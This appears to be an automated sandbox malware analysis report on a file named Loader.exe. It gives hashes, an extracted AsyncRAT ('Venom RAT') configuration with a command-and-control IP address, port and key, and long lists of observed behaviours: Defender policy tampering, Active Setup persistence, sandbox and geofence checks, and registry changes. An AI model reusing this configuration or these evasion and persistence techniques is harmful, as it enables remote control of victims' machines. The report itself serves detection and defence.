Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
03-12-2024 23:38
General
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Target
Loader.exe
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Size
74KB
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MD5
7a545dbf06e65f7f17f04ae0f5153e0e
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SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4
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SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d
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SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1
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SSDEEP
1536:wUKUcxoyR1CriPMVzrqVBYgImH1bz/mmB4Qzc2EVclN:wUzcxoyXkiPMVzrqVHH1bz/4QD2Y
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Default
66.66.146.74:9511
8906005788005HTGF
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delay
1
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install
true
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install_file
WINDOWS.exe
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install_folder
%AppData%
Signatures
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Asyncrat family
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description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection powershell.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3176 created 1884 3176 powershell.exe 94 -
Async RAT payload 1 IoCs
resource yara_rule behavioral1/files/0x000a000000023b6d-11.dat family_asyncrat -
Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation Loader.exe Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation WINDOWS.exe -
Executes dropped EXE 1 IoCs
pid Process 4420 WINDOWS.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 2140 powershell.exe -
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\D: explorer.exe File opened (read-only) \??\F: explorer.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4420 set thread context of 3428 4420 WINDOWS.exe 118 -
Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4492 sc.exe 3788 sc.exe 4604 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe -
Checks SCSI registry key(s) 3 TTPs 22 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 1156 timeout.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\GPU SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Internet Explorer\GPU SearchApp.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "6;18;22" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "5233694" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Female" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Hedda" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "SR fr-FR Lookup Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Vous avez sélectionné %1 comme voix par défaut." SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\it-IT\\MSTTSLocitIT.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "SR ja-JP Lookup Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Ayumi" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\ja-JP\\sidubm.table" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Sie haben %1 als Standardstimme ausgewählt." SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033David" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "SR es-ES Lookup Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\ja-JP\\MSTTSLocjaJP.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\ja-JP\\M1041Ayumi" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Haruka" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Hedda" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "{6BFCACDC-A6A6-4343-9CF6-83A83727367B}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\ja-JP\\VoiceActivation_HW_ja-JP.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "0" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "MS-1031-110-WINMO-DNN" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Speech Recognition Engine - es-ES Embedded DNN v11.1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\M1036Julie" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\fr-FR\\VoiceActivation_fr-FR.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Speech_OneCore\\AudioInput\\TokenEnums\\MMAudioIn\\" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "English Phone Converter" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "{179F3D56-1B0B-42B2-A962-59B7EF59FE1B}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "SR en-US Lts Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\L1033" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "MS-3082-110-WINMO-DNN" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "MS-1040-110-WINMO-DNN" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search\ = "23" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "- 0001 ! 0002 & 0003 , 0004 . 0005 ? 0006 _ 0007 1 0008 ~ 0009 aa 000a a 000b oh 000c ax 000d b 000e d 000f eh 0010 ey 0011 f 0012 g 0013 hy 0014 uy 0015 iy 0016 k 0017 l 0018 m 0019 n 001a ng 001b nj 001c oe 001d eu 001e ow 001f p 0020 r 0021 s 0022 sh 0023 t 0024 uw 0025 v 0026 w 0027 y 0028 z 0029 zh 002a" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "1033" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\es-ES\\sidubm.table" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\r1040sr.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "L1040" SearchApp.exe Set value (str) 